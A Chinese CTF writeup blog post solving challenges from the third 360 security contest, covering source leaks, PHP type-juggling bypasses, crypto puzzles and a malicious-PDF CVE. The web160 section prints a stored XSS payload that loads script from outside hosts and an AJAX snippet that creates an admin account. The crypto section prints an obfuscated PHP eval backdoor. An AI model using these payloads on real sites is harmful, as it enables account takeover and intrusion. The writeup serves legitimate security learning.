Tomato's Blog

第三届-360信息安全大赛 writeup

web10

首先保存那个图片,然后用winhex在尾部发现


Where is the key?{ZW1lbS4uLiAvY3RmXzM2MF9mbGFn}

然后base64_decode之后,为emem… /ctf_360_flag 后面群里提示苹果电脑,然后访问

http://isg.campus.360.cn/web1/ctf_360_flag/.DS_Store

成功拿到flag

web20

首先拿到泄露的源码

http://isg.campus.360.cn/web2/check.php.swp


<?php

/***

此处为提示

$code=0000000000;

admin code 0

user code  1

test code 2

***/

len_check($_GET['code'],10)

 

if(!empty($_GET['email']) && !empty($_GET['code'])) 

{ 

    if(!$db->count('admin',"email='{$_GET['email']}' ANDcode='{$_GET['code']}'")) 

        die('error');

    $_SESSION['email']= $_GET['email']; 

        ..........

}

?>

然后找到了p神这篇文章

https://www.leavesongs.com/PENETRATION/findpwd-funny-logic-vul.html

986860641

然后我们构造code为000000000x

code的长度要为十因为源码里面有len_check($_GET[‘code’],10),0是代表admin.然后成功拿到flag。

没发现这篇文章之前还写了个脚本在跑。就是先获取code,然后提交。跑了一下午然后并没有什么卵用。

web40

http://isg.campus.360.cn/web3/

这个题也是给了一个图片

3175041946

看到文件的结尾

3365764845


--.  ..  ..-.  ---..  ----.  .-  ;

<..--..  .--.  ....  .--.   $.-   = "-----  .-.-.-  .----  ";$-...   = $_--.  .  -  [.----.  -...  .----.  ];..  ..-.  ($-...   -.-.--  = .----.  .----.  ){    ..  ..-.   (..  ...  _.-  .-.  .-.  .-  -.--  ($-...  )){        .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";        .  -..-  ..  -  ;    }.  .-..  ...  .  ..  ..-.  (-.-.--  ..  ...  _-.  ..-  --  .  .-.  ..  -.-.  ($-...  )){       $-.-.   = (..  -.  -  )(($.-   + $-...  ) * .----  -----  );        ..  ..-.   ($-.-.   == "---..  " && $-...  [.----  -----  ] == ..-.  .-  .-..  ...  .  ){            .  -.-.  ....  ---   "..-.  .-..  .-  --.  ";        }.  .-..  ...  .  {            .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";            .  -..-  ..  -  ;        }    }.  .-..  ...  .  {        .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";    }}.  .-..  ...  .  {    .  -.-.  ....  ---   "-.  ---   -.-  .  -.--  -.-.--  ";}..--..  >

可以看到是莫尔斯编码加上了php的一些语法,把莫尔斯编码还原之后就可以得到php代码


GIF89a;

<?php

	$a= "0.1";

	$b= $_GET['b'];

	if($b! = '' )

	{

		if(is_array  ($b))

		{

			echo "nokey!";

			exit;

		}

		else if(!is_numeric ($b ))

		{

			$c   = (int)(($a + $b  ) * 10 );

			if  ($c   == "8" && $b  [10 ] == false )

			{

				echo   "flag ";

			}

			else 

			{

				echo  "nokey ";

				exit  ;

			}

		}

		else {echo  "nokey ";}

	}

	else {echo  "no  ";}

?>

就是要想办法绕过 对is_array和is_numeric的检查,进入flag的分支里

首先是绕过is_array,可以传一个数字进去,但是数字的话又会过不了is_numeric

这里用到的一个trick是 0.7a,在数字之后加上a之类的,变成str的类型,但是经过(int)类型转换之后又会变成0.7

尝试传入b=0.7a,可以本地搭建起来调试,var_dump($c);把$c的结果打印出来发现是7

尝试传入b=0.8a,$c这个时候是9,这个是php的浮点数的精度的问题

传入b=0.75a就可以获得flag了

http://isg.campus.360.cn/web3/?b=0.75a

web160

这题其实是一个xss的题目,因为页面描述说管理员会记录你的一切操作。先打了一发cookie,然后修改cookie。发现直接跳到首页,并没有什么卵用。后面用ajax偷到了页面的源码。通过分析源码发现,有一个添加用户的地方。首先xss的payload


</textarea>'"><script src=http://t.cn/R2CvZvl></script>

3409089775

然后我们构造一个ajax添加一个账号。


var request = false;



if(window.XMLHttpRequest) {



request = new XMLHttpRequest();



if(request.overrideMimeType) {



request.overrideMimeType('text/xml');



}



}



else if (window.ActiveXObject) {



var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];



for(var i=0; i<versions.length; i++) {



try {



request = new ActiveXObject(versions);



} catch(e) {}



}



}



xmlhttp=request;





var url= "/web5/adduser";  



var params ='name=tomato&pass=123456&submit=ok';



xmlhttp.open("POST", url, true);



xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");



xmlhttp.setRequestHeader("Content-length", params.length);



xmlhttp.setRequestHeader("Connection", "Keep-Alive");



 



xmlhttp.send(params)



然后提交


<script src=http://km2.in/360.js></script>

登陆之后成功拿到flag

2881738072

re80

这个题目的pdf下载下来360直接报毒,然后打开空白,以前在一个ctf也遇到过。就是找到受影响的adobe reader的版本,然后打开就行了。然后这次就有经验了。先用kali下面的peepdf跑了一发,然后发现是一个cve

3089303335

然后谷歌cve编号,发现

2801919870

8.1.2下的版本都受影响。然后在虚拟机里下载了一个adobe reader,然后运行就是直接弹flag了。

1238260674

网络协议20

下载完数据包之后,然后过滤http请求

1473484822

然后丢到chrome的console解密

752797495

3517484944

741077206

4135195828

加解密10

BHUK,LP TGBNHGYT BHUK,LP UYGBN TGBNHGYT BHUK,LP BHUK,LP TGBNHGYT BHUK,LP TGBNHGYT UYGBN

这个题提示是个键盘有关系的,其实看看也能看出来BHU是连一起的 TGB也是连一起的

只是有一个分割的问题,一开始用,去分割就没有做出来,要用空格来分割,可以得到


BHUK,LP 

BHUK,LP 

TGBNHGYT 

BHUK,LP 

UYGBN 

TGBNHGYT 

BHUK,LP 

BHUK,LP 

TGBNHGYT 

BHUK,LP 

TGBNHGYT 

UYGBN

一共有3类


BHUK,LP

UYGBN

TGBNHGYT

我们尝试在键盘上把他们画出来,记得,也要占一个键位的

1076458764


BHUK,LP   :N

UYGBN     :C

TGBNHGYT  : B

然后就是按照他的顺序输出flag了

NNBNCBNNBNBC

加解密20

给了一个shell文件,提示是后门的密码就是flag


<?php 

eval(gzinflate(base64_decode("pZLdSsNAEIXvBd+hTmOzMXTbFC3UGhtFEANWlLZES5OgvauoIFho2jy7s7PJhMSIF5Kbb2fPzs+Z7O8ZiYAmhLAFS9bQzhUQIboUPECKiUQDMSFMkYZIZt+U5nFkYijB0Kh0KfCcp+5wlh+6YaO2H9VFbW2BNK8U2iJJoiOk9Pek4q/ZBTwG481T4HeD3mC9vH79en67fb+fjScPM38aOMvL6erEn6xePm+uLj7u1i669I9qAucL4ZSDesQWC9WwHlGxkZRpwW9t1ikrDCRwAE87dtvm7EphlRQd3taC6AwpIjJ4A4XFkhcQ81uhbZcw6EN20a67mHPHxX8Qc+YQP7vyvxQJIHNBa9usUBMcck5d1kNqEVmZl9CDkmNNnsLIFV3IKnsVRT4OOCQJdRNq76Pzbw==")));

?>

有这种解eval的特别方便的

http://zone.wooyun.org/content/19251

在kali下跑跑

php -d extension=evalhook.so shell.php

1894415851

这个特殊的字符串就是flag了

p4n9_z1_zh3n9_j1u_Sh1_J13

加解密40


NTU2NJC3ODHHYWJIZ3P4ZWY=

其实这是一个变异的base64.我们挨个把字母的大小写跑一遍,然后提取可见字符。

3223716866

然后第二个flag就是正确的。

系统20

shellsock的exp打一发

402964121

comments powered by Disqus
GoTop